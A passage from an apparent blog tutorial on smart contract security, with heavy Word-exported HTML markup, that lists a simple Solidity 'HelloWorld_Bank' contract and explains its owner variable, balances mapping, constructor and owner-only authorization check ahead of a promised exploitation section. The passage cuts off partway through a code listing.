2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><i><span style="color: #aeaeae;">//Setting Up authorization</span></i><span style="color: white;"><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> isOwner () </span><span style="color: #e28964;">public</span><span style="color: white;"> view returns(</span><span style="color: #e28964;">bool</span><span style="color: white;">) {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> msg.sender == owner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"> modifier onlyOwner() {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(isOwner());<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>_;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">19.</span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">20.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">21.</span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> deposit () </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">22.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">((balances[msg.sender] + msg.</span><span style="color: #e28964;">value</span><span style="color: white;">) >= balances[msg.sender]);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">23.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>balances[msg.sender] += msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">24.</span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">25.</span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">26.</span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw (</span><span style="color: #e28964;">uint</span><span style="color: white;"> withdrawAmount) </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">27.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;"> (withdrawAmount <= balances[msg.sender]);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">28.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">29.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>balances[msg.sender] -= withdrawAmount;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">30.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>msg.sender.transfer(withdrawAmount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">31.</span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">32.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">33.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">34.</span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> withdrawAll() </span><span style="color: #e28964;">public</span><span style="color: white;"> onlyOwner {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">35.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>msg.sender.transfer(address(</span><span style="color: #e28964;">this</span><span style="color: white;">).balance);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">36.</span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">37.</span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">38.</span></span><!--[endif]--><span style="color: #e28964;"> function</span><span style="color: white;"> getBalance () </span><span style="color: #e28964;">public</span><span style="color: white;"> view returns (</span><span style="color: #e28964;">uint</span><span style="color: white;">){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">39.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> balances[msg.sender];<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">40.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">41.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal;"><span style="color: white;"> </span><o:p></o:p></p>
<h3 style="line-height: normal; margin-bottom: 0in;"><o:p><span style="color: #93c47d;">Video Walk Through: </span></o:p></h3><h2><p class="MsoNormal" style="font-size: medium; font-weight: 400; line-height: normal; margin-bottom: 0in;"><o:p><span style="color: #93c47d;"> </span></o:p></p><div class="separator" style="clear: both; text-align: center;"><span style="color: #93c47d;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/rwaZUjmMdQA" width="320" youtube-src-id="rwaZUjmMdQA"></iframe></span></div><span style="color: #93c47d;"><br /></span><p></p></h2><h2><a name="_Toc47892473"><span style="color: #93c47d;"><br /></span></a></h2><h2><a name="_Toc47892473"><span style="color: #93c47d;">Code Level Walk Through of HelloWorld Bank</span></a></h2>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">While walking through the
application in the action steps, you should have gotten a feel for what the
contract does. By typing out the code you should also have at least a
high-level understanding of the code logic.<span style="mso-spacerun: yes;">
</span>We will now break the code into chunks and make sure that your
understanding does not hold you back from learning as we move into exploitation
in the next section. </span><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;">pragma solidity </span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">; <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;">contract </span><span style="color: #89bdff;">HelloWorld_Bank</span><span style="color: white;">{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>address </span><span style="color: #e28964;">public</span><span style="color: white;"> owner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address => </span><span style="color: #e28964;">uint</span><span style="color: white;">) </span><span style="color: #e28964;">private</span><span style="color: white;"> balances;<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Our first chunk of code starts
off similarly with our pragma line which states the compiler version used for
execution of the smart contract as seen in the last chapter followed by the
contract name.<span style="mso-spacerun: yes;"> </span>Next, we have two
variables which are created on lines 4 and 5. Both of these variables have a
great importance to the flow of the application. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">The first variable created is
“owner” on line 4. This will be the contracts administrator which is not
explicitly defined here, but instead defined in the next chunk of code in the
constructor. Defining an owner in the constructor is common convention used in
solidity to have an administrative user to limit usage of specific
functionality. Usually, authorization of functionality is handled in a security
library, for example Openzeppelin, which we will cover extensively when fixing
smart contract vulnerabilities. However, in this case, we will show a simple
implementation of authorization. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">The second variable created
“balances” on line 5 is something called a mapping in solidity. Mappings are
similar to a dictionary lookup. It is a key value pair where in this case the
address is mapped to a uint value.<span style="mso-spacerun: yes;"> </span>The
key is the address of the user, while the value is the users balance within the
contract.<span style="mso-spacerun: yes;"> </span>So, if you were to perform a
dictionary lookup of a user’s address you would be provided back their bank
balance. You will also note that this is a private variable meaning that you
cannot retrieve this value directly outside of the contract by referencing it. However,
private variables as we will in later chapters are not as private as we think
on the blockchain.</span><o:p></o:p></p><p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;"><br /></span></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;"> () </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 2;"> </span>owner = msg.sender; <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> isOwner () </span><span style="color: #e28964;">public</span><span style="color: white;"> view returns(</span><span style="color: #e28964;">bool</span><span style="color: white;">) {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> msg.sender == owner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal;"><span style="color: white;"> </span></p><p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">This
next section of code is called the constructor. The constructor runs one time
when the contract is deployed and will set things up for the contract. In this
case we are creating a constructor which is payable meaning that when you deploy
the contract you can send Ethereum and that Ethereum will be stored within the
contract’s balance. This is useful if the contract requires a balance for some
of its actions right out of the gate. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">In line 2 we see our previously
created owner variable being set to msg.sender. This is a way for the contract
to set an administrative user when the contract is created. Since the
constructor runs only one time, it’s a good place to set an initial user. Often
you will see this paired with a change owner function that is protected by the
owner’s authorization level and allows the current owner to set a new
administrative user. The msg.sender variable in solidity is simply the users
address who called the function, or in this case the user who published the
contract initially. This is tied to the user’s public address they use for
transactions.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Each time a user interacts with a
contract, their address is known by the contract as the msg.sender value and
this address is used to associate values with their account sort of like a
session variable in a sense.<span style="mso-spacerun: yes;"> </span>You can use
this value to map functionality to that user. In the context of this contract
you will see the msg.sender value used to set the Owner, validate the Owner, map
balances on accounts and transfer value back to the user. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">On line 5 you will see a function
created solely for the purpose of checking if the user interacting with a
contract is the owner of the application. It checks this by returning true if
the msg.sender value equals the current owners address. This is how the
application enforces its authorization level on administrative users. For
example, if you used require(isOwner) in the beginning of a function the
function would refuse to run the rest of its code if the user calling the
contract was not the owner: <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo6; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>modifier onlyOwner() {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo6; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(isOwner());<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo6; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if 